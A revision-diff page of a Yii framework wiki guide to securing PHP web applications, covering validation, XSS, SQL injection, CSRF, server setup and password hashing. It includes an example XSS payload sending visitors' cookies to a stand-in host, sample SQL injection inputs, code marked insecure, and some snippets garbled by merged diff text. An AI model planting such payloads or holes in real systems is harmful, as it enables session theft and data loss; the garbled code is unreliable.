Difference between #13 and #11 of How to write secure Yii applications

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Title
How to write secure Yii applications
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Category
How-tos
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Tags
security, authorization, authentication, XSS, SQL injection
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Content
> **Warning:**
> While this security guide  tries to be quite complete, is not exhaustive.
> If security matters for you, you ought to check several other references.

## General principles

* Validate the user input (see below for details).
* Protect (escape) your application output according to context (see below for a
few output types, mostly HTML and SQL).
* Test your application in debug mode.  
  Set the constant `YII_DEBUG` to true (by default, it is defined in
`index.php`)
  and put alongside `error_reporting(E_ALL);`.
  Then errors and warnings will stop the execution and Yii will display the
message, the source code and the call stack.
  Even an undefined key in an array (which is just a "E_NOTICE" level)
can cause security problems.
* Disable the debug mode in production.  
  Make sure your error messages don't contain sensitive information.
* Whenever possible, filter by white-list instead of by black-list,
  i.e. allow only data that is in an authorized list.
* In production, keep logs. Parse them regularly for warnings and errors.  
  There are two levels of logs : application logs (handled by Yii) and server
logs (handled by PHP and usually Apache).
  Yii logs are described in [The Definitive Guide to Yii,
Logging](http://www.yiiframework.com/doc/guide/1.1/en/topics.logging).
  PHP logs are usually on by default. Please check your server configuration and
your rights on the file system for accessing these log files.


## Validating the user input

### How it works

If a user can add its birth date to its profile, you have to make sure he gives
a valid date. It's not only helpful to prevent mistypes, it also provides better
security. Verifying the input is in the form "1951-01-25" will forbid
dangerous texts
that try to attack your database's SQL or your website's HTML.
Validation is not a perfect protection, but it's an excellent first step.

### Client-side validation

Validating a form with JavaScript has absolutely no impact on the security!
It should only be meant as a way to enhance the interface and its comfort of
use.

The HTML restriction are the same. For instance, if a page has a form
containing:
~~~
[html]
<input type="hidden" name="id" value="1" />
<input type="text" name="date" size="10" />
<select
name="list"><option>1</option><option>2</option></select>
~~~

The data received in the PHP application can contain anything.
The "id", "date" and "list" fields can be big
strings or arrays.
For example, a user can modify the HTML source of the page to replace both
fields by text areas.

### How Yii can help

Yii provides specific ways that can be used instead or along the usual PHP ways.
For reference, the recommended way without Yii is mostly to use type casts and
the
[Filter extension](http://fr.php.net/manual/fr/book.filter.php).

#### Validating through a model

Most of the times, the user input will be sent to a model.
Models will generally extend `CFormModel` or `CActiveRecord`.
Both of them derive from the class
[CModel](http://www.yiiframework.com/doc/api/1.1/CModel).
This class has a method `rules()` that declares how the validation will process.
The additional tests can be done with behaviors or the `beforeValidate()`
method.

The controller:
~~~
[php]
<?php
// In the controller
$model = new Comment;
$model->attributes = $_POST['Comment'];
if ($model->save()) { // validates and save
	$this->redirect(array('view', 'id' => $model->id));
} else {
	// Could not validate, or could not save
}
~~~

The model:
~~~
[php]
<?php
// In the model
class Comment extends CActiveRecord
{
	public function rules()
	{
		return array(
			array('parent', 'numerical', 'integerOnly' => true),
			array('strangedata', 'customValidateForStrangedata'),
			array('description', 'length', 'max' => 255),
		);
	}
	
	// extended validation, run before the rules set above
	protected function beforeValidate()
		if (!empty($this->description) &&
substr_count($this->description, '"') % 2 !== 0) {
			$this->addError("description", "Odd number of
quotes");
			// return false; // stop validation
		}
		return parent::beforeValidate();
	}
	
	/** @return boolean Continue the validation process? */
	protected function customValidateForStrangedata($attribute, $params)
	{
		$this->addError($attribute, "validation failed");
		return false;
	}
~~~

You should pay extra care to your validation.
It keeps your data clean, and that not only useful for security.
Many kind of rules are already declared, and you can add your own.
You can also apply some rules only in a given context, e.g. validate a field
only when the record is modified ("update" scenario"), not when
the record is created ("insert" scenario).

##### To go further:

* The Definitive Guide to Yii 1.1: [Form Models, declaring validation
rules](http://www.yiiframework.com/doc/guide/1.1/en/form.model#declaring-validation-rules)
* The Definitive Guide to Yii 1.1: [Active Record, data
validation](http://www.yiiframework.com/doc/guide/1.1/en/database.ar#data-validation)
* Wiki: [Reference: Model rules
validation](http://www.yiiframework.com/wiki/56/reference-model-rules-validation)
* API: [CModel](http://www.yiiframework.com/doc/api/1.1/CModel)
* [Yii 1.1 validator
cheat-sheet](http://yii.googlecode.com/files/yii-1.1.0-validator-cheatsheet.pdf)

#### Validating in a controller

Some light user input will be handled directly by the controller.
In this case, **you should use a PHP type cast**.
This happens frequently for numeric IDs where you should use `(int)`.

~~~
[php]
<?php
// insecure (see below for restrictions)
$model = Post::model()->findByPk($_GET['id']);
// secure
$model = Post::model()->findByPk((int) $_GET['id']);
~~~

If the input is not expected to be an integer, then consider making go through a
model validation.

##### Side note on the last example

In fact, Yii will help, even in the first case.
The method
[findByPk()](http://www.yiiframework.com/doc/api/1.1/CActiveRecord/#findByPk-detail)
uses the table schema to ensure that a numeric column only gets numeric
criteria.
See the [SQL Injection](#hh11) section for more details.
Yet, there are cases where this automatic protection might not be enough.
What if a malicious user enters the query `comment/delete?id[]=2\&id[]=1`?
Then `$_GET['id']` would become an array, and if this id is not validated,
it can induce strange effects, and possible security breaches (but not with
`findByPk`).


## HTML output and XSS

If the application prints unfiltered user input inside a HTML page, then it
allows a
malicious user to change the display of this page, and to inject client code
(usually JavaScript)
that can be run by other users.
One typical use of these XSS attacks is to steal user sessions.

One note on vocabulary: filtering data for security concerns is often called
_escaping_.

### Example

Here is a extract of a view. The page just shows a user profile.
~~~
[html]
< h2>Profile of <?php echo $user->name ?></h2>
Other unfiltered outputs:
<a href="/posts?name=<?php echo $user->login ?>"
   title='<?php echo $user->name ?>'>See my posts</a>
~~~

Now suppose the user's name is:

    Joe<script>document.write('<img
src="http://x.com/save.php?cookie='+getCookie()+'" />');function
getCookie(){...}</script>

Then everyone that consults this profile will send an HTTP request for an
external image,
and this request will contain data describing the visitor's cookies.

PHP provides several functions that protect the output.
The most useful one is `htmlspecialchars()` but just in the example above,
`rawurlencode()` and `htmlspecialchars(, ENT_QUOTES)` would also be necessary.

### How Yii can help

#### Plain text

**If you want to print plain text in a HTML page, use `CHtml::encode()`.**
Here is an example:
~~~
[html]
<h2>Profile of <?php echo CHtml::encode($user->name)
?></h2>
~~~

This function is in fact a wrapper on `htmlspecialchars()` with your
application's characters set
(to be exact, it's not a charset but a character encoding).
So if your texts are not (yet) in UTF-8, you should declare a charset in the
global config
 (e.g. `'charset' => 'ISO-8859-1'` in the first level of
"protected/config/main.php").

You may want to apply `strip_tags()`, to remove HTML/XML tags before escaping.
Beware, this function is not secure, so do not use it without `CHtml::encode()`.

#### Rich text (HTML)

If you want to allow HTML in the user input, then you have to display it raw.
So **you should filter the HTML data** (before saving it or after reading it, at
your choice, though the former is recommended for performance reasons).
Do not try to filter it yourself, several PHP libraries already exist.
The most well-known is [Html Purifier](http://htmlpurifier.org/), and it has
been incorporated in Yii.
For details, see the section [Security,
XSS](http://www.yiiframework.com/doc/guide/1.1/en/topics.security#cross-site-scripting-prevention)
in "The Definitive Guide to Yii".

~~~
[php]
<li class="comments">
<?php
$purifier = new CHtmlPurifier();
$purifier->options = array(
	'HTML.Allowed', 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) {
	// This can be dangerous
	//echo "<li>" . $comment->text . "</li>\n";
	
	// Safe output (but slow)
	echo "<li>" . $purifier->purify($comment->text) .
"</li>\n";
}
?>
</li>
~~~

Allowing the user to enter HTML text can be useful, especially with Rich Text
Editors like TinyMCE or FckEditor,
but you may also **consider using templating languages**, like Markdown or wiki
syntax.
Regarding security, the benefit is that the application converts to HTML, so the
risk
of XSS is low.

##### To go further:

* [HTML Purifier's doc](http://htmlpurifier.org/docs). The end-user
documentation contains a few thematic tutorials, like
["Customize"](http://htmlpurifier.org/docs/enduser-customize.html).
The [Configuration Reference](http://htmlpurifier.org/live/configdoc/plain.html)
lists all the options you can use with
[CHtml::Purifier](http://www.yiiframework.com/doc/api/1.1/CHtmlPurifier) but it
lacks examples.
* [CMarkdown](http://www.yiiframework.com/doc/api/1.1/CMarkdown/)


### Special cases: URLs, CSS, etc

#### URL

To escape a string in an URL:

* use `rawUrlEncode()` for url parts,
* use `urlEncode()` for url parameters.

Here is an example of several cases in JavaScript and HTML:
~~~
[html]
<script>var a = "http://x.com/<?php echo rawUrlEncode($query)
?>"; </script>
<a href="/search/<?php echo rawUrlEncode($query))
?>">Escape url parts</a>
<a href="/?param=<?php echo urlEncode($param) ?>">Escape
URL parameters</a>
<a href="<?php echo CHtml::encode($url . "&param=" .
urlEncode($param)) ?>">Escape whole URLs</a>
~~~

`CHtml::encode()` cannot be used alone here because it could produce an invalid
URL, for example with
 `$query = '?x="N & B"'`. But it cannot be removed since
ampersands "&" have to be replaced by "&amp;amp;".

### CSS

Use [Html Purifier](http://htmlpurifier.org/).
See the section on "Rich text (HTML)".

### JavaScript

If you need to write from PHP to JavaScript, you should use the static methods
of [CJavaScript](http://www.yiiframework.com/doc/api/1.1/CJavaScript).

~~~
[php]
<?php
$messages = array("Rock'n roll", 'Say "hello"');
$title = "D'accord";
Yii::app()->clientScript->registerScript('snippet', "
function displayMsg() {
	var messages = <?php echo
$messages;CJavaScript::encode($messages); ?>;
	var title = '<?php echo
$title;CJavaScript::quote($title); ?>';
	// ...
}
");
~~~

There is a special case where you do not want Yii to quote a string that is
already valid in JS.
In this case, you have to prefix your string with "js:", the prefix
will be removed and the rest will be unchanged.

~~~
[php]
<?php
$this->widget(
	'zii.widgets.jui.CJuiAutoComplete',
	array(
		'name' => 'field_name', // Yii applies CJavaScript::quote to each value
		'source' => 'js:function(request, response) { $.ajax({...}) }', //
"js:" before the JS code
~~~


## SQL Injections

### How it works

When some user data is put unfiltered in a SQL query, it allows a malicious user
to send its own SQL in the query.

~~~
[php]
<?php
// warning, dangerous code
Yii::app()->db
	->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id'])
	->execute();
$comments = Comment::model->findAll("user_id = " . $_GET['id']);
~~~

If the GET parameter id is "4 OR 1=1" then someone who has the right
to delete comment #4 will probably be able to delete all the other comments (it
depends on how the authorization is granted, but that's another story).
In the second request, it would be possible to read the content of the whole DB
with input like "2 UNION SELECT ...".

### How Yii can help

#### Use a PHP syntax instead of raw SQL

Instead of the code of the example above, what follows is far more secure:
~~~
[php]
<?php
// still lacks validation, but more secure
MyModel::model()->findByPk($_GET['id'])->delete();MyModel::model()->findByPk((int)$_GET['id'])->delete();
$comments = Comment::model->findAllByAttributes(array('user_id' =>
$_GET['id']);(int)$_GET['id']);
~~~

This is a general principle: if you build your SQL condition in pure text, you
take more risks than a more PHP approach.
For most DB functions, **prefer array parameters to string parameters**.
Here is another example using PHP arrays:
~~~
[php]
<?php
// warning: potential sql injection
$comments = Comment::model->findAll("post_id = $postId AND author_id IN
(" . join(',', $ids) . ")");
// secure (note how an array value is gives a "IN" since Yii
$comments = Comment::model->findAllByAttributes(array("post_id"
=> $postId, "author_id" => $ids));
~~~

#### Prepared statements

The are still cases where writing raw SQL is needed.
Consider a simple query that has 2 parameters:
~~~
[sql]
SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
  FROM t_comment
  WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'
~~~

There are 2 ways to secure this:

1. Escape each parameter (not recommended).
2. Use a prepared statement (recommended).

If you really want to escape each parameter, you can use
[CDbConnection::quoteValue()].
For example, `"date > '{$date}'"` would become `"date >
" . Yii::app()->db->quoteValue($date)`.

Prepared statements is a way to declare parameters in your SQL.
Depending on your configuration, the incomplete query will be compiled by the
SQL server,
then the values will be inserted at the right places (the actual behavior may
vary because this process could be emulated from PHP, especially if the SQL
engine doesn't allow it).
**Prepared statements removes any risk of SQL injection in the parameters.**
(Yet, beware, not everything is a parameter).

There are two ways to write this in Yii:
~~~
[php]
<?php
// Note the parameters are written :param without surrounding quotes
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date
"
	. "FROM t_comment "
	. "WHERE (date > :date OR date IS NULL) AND title LIKE :text"

// 1st way, using explicit binds
$command = Yii::app()->db->createCommand($sql);
$command->bindParam(":date", $date, PDO::PARAM_STR);
$command->bindParam(":text", "%{$text}%",
PDO::PARAM_STR);
$results = $command->execute();

// second way
$command = Yii::app()->db->createCommand($sql);
$results = $command->execute(array(':date' => $date, ':text' =>
"%{$text}%"));
~~~

The first syntax with explicit bindings is a bit heavier, but it has the
advantage of defining the parameter's type.

When retrieving models from the DB, the syntax is simple:
~~~
[php]
<?php
$comments = Comment::model->findAllBySql($sql, array(':date' => $date,
':text' => "%{$text}%"));
~~~

If you don't feel at ease with the Yii way to query databases, please read the
whole tutorial [Working with
Databases](http://www.yiiframework.com/doc/guide/1.1/en/database.overview) in
"The Definitive Guide to Yii".
The section [Database Access
Objects](http://www.yiiframework.com/doc/guide/1.1/en/database.dao) has more
details on binding parameters.

##### Side note on LIKE conditions

Even if no SQL injection in possible in the previous queries, there is still
room for improvement.
The SQL function `LIKE` has a special treatment for the characters "_"
and "%".
In many cases, this is not a problem, with mostly unexpected results.
But if the data queried is huge, then transforming a `"begin%"`
condition into `"%s%a%"` condition can make the query so heavy that it
slows the SQL server, because no index can be used for the later.
So **you should protect the characters "%" and "_"** when
the user input is going into a LIKE condition, for example with `str_replace()`.
See further for example of how [CDbCriteria::compare()] or
[CDbCriteria::addSearchCondition()] can simplify this.

##### Side note on positional parameters

As of now (Yii 1.1.8), the framework does not recognized *positional parameters*
marked with "?".
You have to used *named parameters* whose names begin with ":".

##### Side note on performance

A lone prepared statement is a bit slower than a non prepared one.
This is probably *not* a performance bottleneck for your application.
But if you want to run several times the same query with variable bound
parameters, then the prepared statements will be faster.
Of course, none of this does apply when PHP emulates preparation.

#### When prepared statements aren't enough

As written above, prepared statements remove any risk of SQL injection in the
parameters.
Alas, there will be times when you need to use variables for parts of the SQL
query that cannot use prepared statements.
~~~
[sql]
SELECT *
  FROM {$mytable}
  WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}
  ORDER BY {$myfield}
  LIMIT {$mylimit}
~~~

The traditional way to solve this problem in pure PHP is to have white-lists of
accepted values for each part.
But Yii provide several ways to help.
The first one is that Yii knows your DB schema, so you can write:
~~~
[php]
<?php
if (!Comment::model()->hasAttribute($myfield)) {
	die("Error");
}
~~~

A very specific solution to build a secure SQL query is to use the "Query
Builder", available since Yii 1.1.6.
This is a way to write a complete SQL query in pure PHP, but it cannot be mixed
with other approaches (raw SQL, CDbCriteria, etc).
See the section [Query
Builder](http://www.yiiframework.com/doc/guide/1.1/en/database.query-builder) in
"The Definitive Guide to Yii".

Most of the time, your expected result is to be parsed as models, so you can use
`find*()` methods with [CDbCriteria] to build a more secure query.
For example:
~~~
[php]
<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria(
    array(
        'order' => $myfield,
        'limit' => $mylimit,
    )
);
$criteria->compare($myfield, $value, true); // LIKE % escaped($value) %
$criteria->compare('post_date', '<:date');
$criteria->params = array(':value' => $value, ':date' => $date);
$comments = Comment::model()->findAll($criteria)
~~~

This is especially useful if you intend to use [CGridView] which is what Gii
(the official scaffolding tool) suggests.
[CGridView] expects a [CDataProvider] which uses [CDbCriteria], so you don't
have to pay too much attention to the user search input.

To be complete, here is another syntax for the previous example:
~~~
[php]
<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria();
$criteria->order = $myfield;
$criteria->limit = $mylimit;
$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE
'%...%'
$criteria->addCondition("post_date < :date");
$comments = Comment::model()->findAll($criteria, array(':value' => $value,
':date' => $date));
~~~

### Summary on SQL injection

In the following lists, the firsts choices are the easiest to secure,
but it doesn't mean the last items are not secure.

* When results are models, chose the first element of the list that matches your
needs:
    1. [CActiveRecord::findByPk()] or [CActiveRecord::findAllByPk()]
    2. [CActiveRecord::findByAttributes()] or
[CActiveRecord::findAllByAttributes()]
    3. `X::model()->find($criteria, array(':param1' => $value1))` or
`->findAll(...)`
    4. `X::model()->find($sql, array(':param1' => $value1))` or
`->findAll(...)`
    5. `X::model()->findBySql($sql, array(':param1' => $value1))` or
`->findAll(...)`

* When results are not model, use prepared statements:
~~~
[php]
<?php
$r = Yii::app()->db
    ->createCommand($sql)
    ->queryAll(array(':param1' => $value1));
~~~

And don't forget to validate the input before this!


## Cross-site Request Forgery (CSRF)

See [The Definitive Guide to Yii,
CSRF](http://www.yiiframework.com/doc/guide/1.1/en/topics.security#cross-site-scripting-prevention).

Please note that HTTP requests that modify the server state (create, update,
delete) should be with the POST protocol.
This is a good practice, as recommended by REST, and it helps web browser to
prevent accidental re-send of these requests.
But a POST request in itself does not prevent CSRF, it provides almost no
improvement on security.
Fortunately, Yii has a mechanism (disabled by default) that can be used to
protect them from forgery.


## Configure the web server

This section will only consider a UNIX (Linux, BSD, OSX) web server Apache with
PHP as a module.
Other configurations (Windows, nginx, PHP-fpm, etc) may require different
settings, though the principles are the same.

### Set up different environments

When Yii runs with the constant `YII_DEBUG` set to true, it can show valuable
information to an attacker
(setting aside the performance penalty).
For instance, suppose an attacker finds a validation miss in your application:
when a form is spoofed to send an array value in a field, a PHP function will
receive incorrect parameters.
In debug mode, Yii will then print the call stack, with the context of each call
made in user code.

Unfortunately, by default the debug mode is set up in the `index.php` file of
your application.
So the code has to be changed when running a development, a testing or a
production instance.
One solution can be to use a DVCS to track local changes and rebase them
(fast-forward in git jargon).
The drawback is that the various configurations are handled locally, in several
branches.

The recommended solution is to rewrite the `index.php` file so that it reads the
debug configuration:

* from an external file,
* or from the web server environment.

Apache can set environment variables with the syntax

    SetEnv YII_ENV testing

This can be set in the global configuration files (in a VirtualHost or
Directory),
or in a `.htaccess` file.
Then PHP can access this variable through `$_SERVER["YII_ENV"]`
and default to "production mode" if it isn't set.

### For a Yii application

**The directory containing the framework should not be under the document root
of your server** (there is no reason a user could access to files like
"yiilite.php" in its web browser).

**Three directories must be writable** by the web server: "assets",
"protected/data" and "protected/runtime".
**The web server should only have read access to everything else.**
This way, an attacker could only create/modify a file in these directories.
The folder "assets" is especially dangerous since it is writable, and
there is a direct HTTP access to it.
Therefore, the PHP files it contains should not be interpreted but treated as
plain text (see the example below).

Yii's default application have ".htaccess" files to forbid direct web
access to "protected/" and "themes/classic/views/".
It is a bit safer (and faster) to put this configuration in the global
configuration of Apache.
Here is an example that also disables PHP files in "assets/".
~~~
[apache]
# Example config for Yii-myapp and Apache
# Please set the pathes to their right values

# put the application in some custom url
# (instead of an Apache alias, a symbolic link can be used)
Alias /web/path/for/myapp "/home/myapp/www"

<Directory "/home/myapp/www">
	AllowOverride None
</Directory>

<Directory "/home/myapp/www/protected">
	Deny from All
</Directory>

<Directory "/home/myapp/www/assets">
	php_admin_flag engine off
	Options -Indexes
</Directory>
~~~

Instead of the previous configuration, here is an example of putting a Yii
application in a Virtual Host.

~~~
[apache]
# Example config for Yii-myapp as an Apache VirtualHost
# Please set the pathes to their right values

<VirtualHost *:80>
	ServerName myapp.com
	DocumentRootAlias /home/myapp/www

	ErrorLog /var/log/apache2/myapp-error.log
	CustomLog /var/log/apache2/myapp-access.log common

	<Directory "/home/myapp/www">
		AllowOverride None
		php_flag register_globals Off
		php_flag gpc_magic_quotes Off

	#	<IfModule mod_rewrite.c>
	#		# The following block is for masking "index.php" in the url
	#		# We also need to configure the app: urlManager.showScriptName = false
	#		Options +FollowSymLinks
	#		IndexIgnore */*
	#		RewriteEngine on
	#		RewriteCond %{REQUEST_FILENAME} !-f
	#		RewriteCond %{REQUEST_FILENAME} !-d
	#		RewriteRule . index.php
	#	</IfModule>
	</Directory>

	<Directory "/home/myapp/www/protected">
		Deny from All
	</Directory>

	<Directory "/home/myapp/www/assets">
		php_admin_flag engine off
		Options -Indexes
	</Directory>
</VirtualHost>
~~~

### For every PHP project

A few useful directives:

| Directive | Comment |
|-----------|---------|
| `allow_url_include` | Should be off (PHP 5.2). |
| `register_globals` | This is obsolete and dangerous. **Should be off.** |
| `magic_quotes_gpc` | Important for many PHP applications, but Yii negates its
effect. **Should be off.** |
| `open_basedir` | Can restrict PHP to access only some directories. Use with
caution. |
| `display_errors` | Should be off in production. |
| `error_reporting` | Should always include at least `E_ERRORS`. See the
[official
documentation](http://php.net/manual/en/errorfunc.configuration.php#ini.error-reporting).
|

This directives can be set in the global "php.ini" file.
If Apache has `AllowOverride Options`, then ".htaccess" can be used.
~~~
[apache]
# .htaccess file
php_flag display_errors off
php_value error_reporting -1
~~~

One can also use `php_admin_flag` and `php_admin_flag` to set config parameters
that can't be changed dynamically with ".htaccess" or `ini_set()`.
Here is an example in an Apache config file.
~~~
[apache]
# Apache config file
<Directory "/var/www/myapp">
	php_admin_value open_basedir /var/www/myapp/:/tmp/
</Directory>
~~~

SSL is out of the scope of this wiki page.


## Authorization

Authorization is ensuring users only have access to the resources they have
permissions on.
This is a lengthy subject, and Yii provides many useful classes to handle
permissions and roles.
To learn about this, please read *The Definitive Guide to Yii* from 
[Access Control
Filter](http://www.yiiframework.com/doc/guide/1.1/en/topics.auth#access-control-filter)
to
[Using Business
Rules](http://www.yiiframework.com/doc/guide/1.1/en/topics.auth#using-default-roles).

Another useful resource is in the wiki: [Getting to Understand Hierarchical RBAC
Scheme](http://www.yiiframework.com/wiki/136/getting-to-understand-hierarchical-rbac-scheme).
For a more practical but limited case, see [CPhpAuthManager - how it
works](http://www.yiiframework.com/wiki/253/cphpauthmanager-how-it-works-and-when-to-use-it/).

There are also [several](http://www.yiiframework.com/extension/rights/)
[extensions](http://www.yiiframework.com/extension/rbam/)
[that](http://www.yiiframework.com/extension/srbac/) can help you to set up the
authorization system of your application.


## Authentication

### Password strength

The validation rule must reject any weak password.
Writing its own validation method is easy: just require a minimum size, and
check that different classes of characters are present.
You can also use a ready-made solution, the extension
[epasswordstrength](http://www.yiiframework.com/extension/epasswordstrength).

~~~
[php]
<?php
class User extends CActiveRecord
{
	public function rules()
	{
		return array(
			array('password', 'checkPasswordStrength'),
		);
	}
	
	protected function checkPasswordStrength($attribute, $params)
	{
		$password = $this->$attribute;
		$valid = true;
		$valid = $valid && preg_match('/[0-9]/', $password); // digit
		$valid = $valid && preg_match('/\W/', $password); // non-alphanum
		// ... other rules ...
		$valid = $valid && (strlen($password) > 7); // min size
		if ($valid) {
			return true;
		} else {
			$this->addError($attribute, "Not secure enough");
			return false;
		}
	}
~~~

Providing a client-side validation in JavaScript can be useful, since the user
will know immediately if its password is secure. But don't forget this must not
replace the validation in PHP. In fact, it makes validation a bit harder because
your PHP validation must be the same as your JS validation. To be precise, it
can be weaker than the JS, but it has to follow similar criteria.
There is also an extension for this,
[estrongpassword](http://www.yiiframework.com/extension/estrongpassword).

### Encrypting passwords

This section considers only internal authentication, i.e. through passwords
managed by the application.
It does not consider LDAP, SSO, OpenID, or any other external service.

If the authentication process is internal, then of course you shouldn't store
the passwords in plain text.
The easiest solution for encryption is to use the well-known library
[PHPass](http://www.openwall.com/phpass/).
With Yii, it can be as simple as the following "User" model:
~~~
[php]
<?php
// autoload "protected/lib/PasswordHash.php"
Yii::import('application.lib.PasswordHash');

class User extends CActiveRecord
{
	public function validatePassword($password) // $password is the user input
	{
		// Try to use stronger but system-specific hashes, with a possible fallback to
		// the weaker portable hashes.
		$hasher = new PasswordHash(8, FALSE);
		return $hasher->checkPassword($password, $this->password);
	}

	public function beforeSave()
	{
		// Replace the raw password with the hashed one
		if (isset($this->password)) {
			$hasher = new PasswordHash(8, FALSE);
			$this->password = $hasher->HashPassword($this->password);
		}
		return parent::beforeSave();
	}
~~~

What the library PHPass does is applying random salting, choosing the best
encrypting algorithm available, iterating it a high number of times... Nothing
really hard to code by oneself, but why reinvent the wheel. And the author is a
security expert, he wrote the famous "john the ripper"
password-cracking tool (the successor of Jack the ripper ;). If you want to know
more on passwords, the home page of the library contains links toward technical
articles and a few advanced recommendations.


## Useful Tools

There are several tools that can detect potential security breaches in your
application.
First, some web security scanners:

* [Skipfish](https://code.google.com/p/skipfish/).
  Well-documented, powerful and easy to run.
  Like any other scanner, it will detect some false-positive issues, be careful
when interpreting.
* [Nikto](http://www.cirt.net/nikto2).
  This is probably the most well-known.
* [W3af, Web Application Attack and Audit
Framework](http://w3af.sourceforge.net/).
  This is a package of security tools with a common interface. It has both a CLI
and GUI.
  It comes with an extensive documentation.

Then a scanner of a different type:

* [RatProxy](https://code.google.com/p/ratproxy/).
  This open-source tool is a proxy that will analyze your traffic to find
potential security problems.

There are many other security tools, but this should be more than enough for any
beginner.
And if you're experimented enough with web security, please contribute!